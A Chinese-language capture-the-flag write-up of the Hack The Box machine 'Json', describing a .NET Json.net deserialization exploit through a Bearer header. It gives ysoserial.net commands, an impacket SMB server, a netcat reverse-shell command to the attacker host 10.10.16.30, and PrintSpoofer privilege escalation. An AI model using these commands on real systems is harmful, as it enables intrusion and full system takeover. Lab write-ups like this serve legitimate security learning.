Back

打靶记录-Json

靶机来自HTB

攻击路径

使用web下的.net反序列化反弹shell->枚举信息发现存在SeImpersonatePrivilege权限->PrintSpoofer提权

路径详解

在端口扫描结束后,扫出了如下端口:

交互后发现FTP,SMB均未存在信息泄露,RPC与WinRM需要凭据才可交互,因此将渗透重点放在80端口上

访问后用js做了跳转,来到登录页面下,弱口令admin/admin进入,其中登录的过程中向/api/Account/路由发了一个包获取json数据,数据包如下

经测试,发现回显的json数据是通过base64解码请求头中的Bearer字段获得的,而在输入无法被解码的信息后,回显了关键报错信息

说明目标的后端存在反序列化的操作,且使用的是Json.net处理库,因此可以测试目标是否存在反序列化漏洞,使用的项目是ysoserial的.net版,即ysoserial.netgithub项目地址

生成测试payload,使用的是最基础的ObjectDataProvider链:

1
.\ysoserial.exe -c "ping -n 3 10.10.16.30" -o base64 -g ObjectDataProvider -f Json.net

将生成的Base64字符串复制到Bearer字段中并发包,同时在本地用tshark监听,结果如下:

可以确认存在反序列化漏洞

通过SMB进行文件传输

目前可以通过反序列化执行命令,而我们需要通过它进一步获取可交互的shell,首先想到的是获取一个nc的可执行文件,并上传到目标机器,进而执行实现反弹shell

在后渗透中进行文件传输的方法有很多,我通常用的是用python起HTTP Server实现,但由于这次的目标是Windows靶机,成功率不高,因此学到了另一个技巧,即通过手动构建SMB Server实现文件传输

先从github上获取一个nc的x64可执行文件,而后在本地用impacket起一个smbserver,由于我们需要远程执行在SMB中的可执行文件,因此需要指定-smb2support参数,实现对SMBv2的支持

1
sudo impacket-smbserver Wuhu . -smb2support

准备完成后,重新构造payload,修改命令的部分,远程执行SMB中的nc以实现反弹shell

1
.\ysoserial.exe -c "START /B \\10.10.16.30\Wuhu\nc64.exe 10.10.16.30 9999 -e cmd.exe" -o base64 -g ObjectDataProvider -f Json.net
  • START /B:后台起一个新的进程

修改Bearer字段并发包后,成功获取到反弹的shell

SeImpersonate权限利用

查看当前用户权限,可以发现存在SeImpersonatePrivilege权限且处于Enabled状态

该权限允许在另一个用户的权限上下文中创建进程,是提权中常用的利用点,如土豆系列都是通过这个权限实现的

这里使用PrintSpoofer来进行提权,还是通过SMB传输文件,在目标主机上通过以下命令获取PrintSpoofer64.exe(建议在C:\ProgramData目录下操作,类似linux中的tmp目录,所有用户都有权限访问)

1
copy \\10.10.16.30\Wuhu\PrintSpoofer64.exe PrintSpoofer64.exe

根据帮助文档直接利用:

成功获取到系统权限

总结

主要学到了ysoserial.net的使用、通过SMB进行文件传输等trick,但也有没消化的部分,也就是通过SeImpersonate提权那块,琢磨了两天其中的原理,发现前置知识实在太多,遂放弃,待到深入学习Windows的知识点时再来补完